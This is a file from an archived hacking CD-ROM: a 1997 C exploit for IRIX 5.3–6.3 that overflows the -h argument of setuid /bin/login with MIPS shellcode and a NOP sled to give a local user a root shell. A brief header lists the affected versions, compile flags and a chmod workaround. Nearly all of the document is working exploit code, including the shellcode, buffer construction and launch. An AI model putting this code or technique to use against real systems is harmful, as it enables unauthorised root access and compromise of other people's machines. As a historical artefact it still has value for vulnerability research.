home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / irix-login.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  3.2 KB  |  113 lines

  1.  
  2. Impact: local users can get root access
  3. Vulnerable to this exploit: Irix 5.3 Irix64 6.2 Irix 6.3
  4. Tested on: R3000 Indigo (5.3), R4400 Indy (5.3), R5000 O2 (6.3), R8000
  5.            PChallenge (Irix64 6.2)
  6. Temporary fix: chmod u-s /bin/login
  7.  
  8. Note this will break login, although it should still work when called
  9. from telnetd, getty etc
  10.  
  11. Compile the exploit with the '-n32' flag if compiling under 6.x
  12.  
  13. When run, you will be prompted for a password. Just press enter at this
  14. point and you will handed a root shell.
  15.  
  16. Regards,
  17.  
  18.  David Hedley (hedley@cs.bris.ac.uk)
  19.  
  20. --------------------- cut here --------------------------------
  21.  
  22. /* /bin/login exploit by DCRH 24/5/97
  23.  *
  24.  * Tested on:   R3000 Indigo (Irix 5.3)
  25.  *              R4400 Indy (Irix 5.3)
  26.  *              R5000 O2 (Irix 6.3)
  27.  *              R8000 Power Challenge (Irix 6.2)
  28.  *
  29.  * Compile as: cc -n32 login.c     (for Irix 6.x)
  30.  *             cc login.c          (for Irix 5.x)
  31.  *
  32.  * Press enter when prompted for a password
  33.  *
  34.  */
  35.  
  36. #include <stdio.h>
  37. #include <stdlib.h>
  38. #include <string.h>
  39. #include <sys/types.h>
  40. #include <unistd.h>
  41.  
  42. #define BUF_LENGTH      200
  43. #define EXTRA           300
  44. #define OFFSET          0x1b0
  45. #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
  46.  
  47. #define u_long unsigned
  48.  
  49. u_long get_sp_code[] = {
  50.     0x03a01025,         /* move $v0,$sp         */
  51.     0x03e00008,         /* jr $ra               */
  52.     0x00000000,         /* nop                  */
  53. };
  54.  
  55. u_long irix_shellcode[] = {
  56.     0x24041234,         /* li $4,0x1234         */
  57.     0x2084edcc,         /* sub $4,0x1234        */
  58.     0x0491fffe,         /* bgezal $4,pc-4       */
  59.     0x03bd302a,         /* sgt $6,$sp,$sp       */
  60.     0x23e4012c,         /* addi $4,$31,264+36   */
  61.     0xa086feff,         /* sb $6,-264+7($4)     */
  62.     0x2084fef8,         /* sub $4,264           */
  63.     0x20850110,         /* addi $5,$4,264+8     */
  64.     0xaca4fef8,         /* sw $4,-264($5)       */
  65.     0xaca6fefc,         /* sw $4,-260($5)       */
  66.     0x20a5fef8,         /* sub $5, 264          */
  67.     0x240203f3,         /* li $v0,1011          */
  68.     0x03ffffcc,         /* syscall 0xfffff      */
  69.     0x2f62696e,         /* "/bin"               */
  70.     0x2f7368ff,         /* "/sh"                */
  71. };
  72.  
  73. char buf[BUF_LENGTH + EXTRA + 8];
  74.  
  75. void main(int argc, char **argv)
  76. {
  77.     char *env[] = {NULL};
  78.     u_long targ_addr, stack;
  79.     u_long *long_p;
  80.     int i, code_length = strlen((char *)irix_shellcode)+1;
  81.     u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
  82.  
  83.     stack = get_sp();
  84.  
  85.     long_p =(u_long *)  buf;
  86.     targ_addr = stack + OFFSET;
  87.  
  88.     if (argc > 1)
  89.       targ_addr += atoi(argv[1]);
  90.  
  91.     while ((targ_addr & 0xff000000) == 0 ||
  92.            (targ_addr & 0x00ff0000) == 0 ||
  93.            (targ_addr & 0x0000ff00) == 0 ||
  94.            (targ_addr & 0x000000ff) == 0)
  95.       targ_addr += 4;
  96.  
  97.     for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  98.         *long_p++ = IRIX_NOP;
  99.  
  100.     for (i = 0; i < code_length/sizeof(u_long); i++)
  101.         *long_p++ = irix_shellcode[i];
  102.  
  103.     for (i = 0; i < EXTRA / sizeof(u_long); i++)
  104.         *long_p++ = (targ_addr << 24) | (targ_addr >> 8);
  105.  
  106.     *long_p = 0;
  107.  
  108.     printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
  109.  
  110.     execle("/bin/login", "login", "-h", &buf[1], 0, env);
  111.     perror("execl failed");
  112. }
  113.